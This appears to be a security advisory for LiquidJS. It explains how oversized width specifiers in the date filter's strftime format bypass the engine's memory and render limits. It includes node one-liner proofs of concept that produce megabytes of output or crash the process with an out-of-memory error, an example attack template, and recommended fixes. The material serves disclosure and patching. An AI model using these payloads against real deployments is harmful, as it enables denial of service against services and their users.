Description

LiquidJS has a memory and render limit bypass via unbounded width padding in date filter (strftime)

Summary

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.

Details

date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
  this.context.memoryLimit.use(size)
  ...
  return strftime(date, format)
}

strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:

function format (d, match) {
  const [input, flagStr = '', width, modifier, conversion] = match
  ...
  let padWidth = width || padWidths[conversion] || 0
  ...
  return padStart(ret, padWidth, padChar)   // strftime.ts:147
}

padStart calls pad() in src/util/underscore.ts:153:

export function pad (str, length, ch, add) {
  str = String(str)
  let n = length - str.length
  while (n-- > 0) str = add(str, ch)   // unbounded loop
  return str
}

The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.

Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.

This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).

PoC

Setup: npm install [email protected].

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"

Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"

Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.

The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).

Impact

DoS against any LiquidJS-rendered surface where a context value reaches the date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.

Bypass of the engine's two documented DoS controls — memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.

All date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.

Recommended Fix

Two complementary fixes:

Have pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:

export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
  str = String(str)
  const n = length - str.length
  if (n <= 0) return str
  return add === ((s, c) => c + s)
    ? ch.repeat(n) + str
    : str + ch.repeat(n)
}...
Show more

Cap padWidth in src/util/strftime.ts:141 and account for it via memoryLimit. The date filter (src/filters/date.ts) should also charge this.context.memoryLimit.use(parsedMaxWidth) before invoking strftime, e.g. by scanning the format for %(\d+) widths and summing them. A conservative cap (e.g. Math.min(width, 1024) for non-N conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.

Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

Mitigation

Aliases

References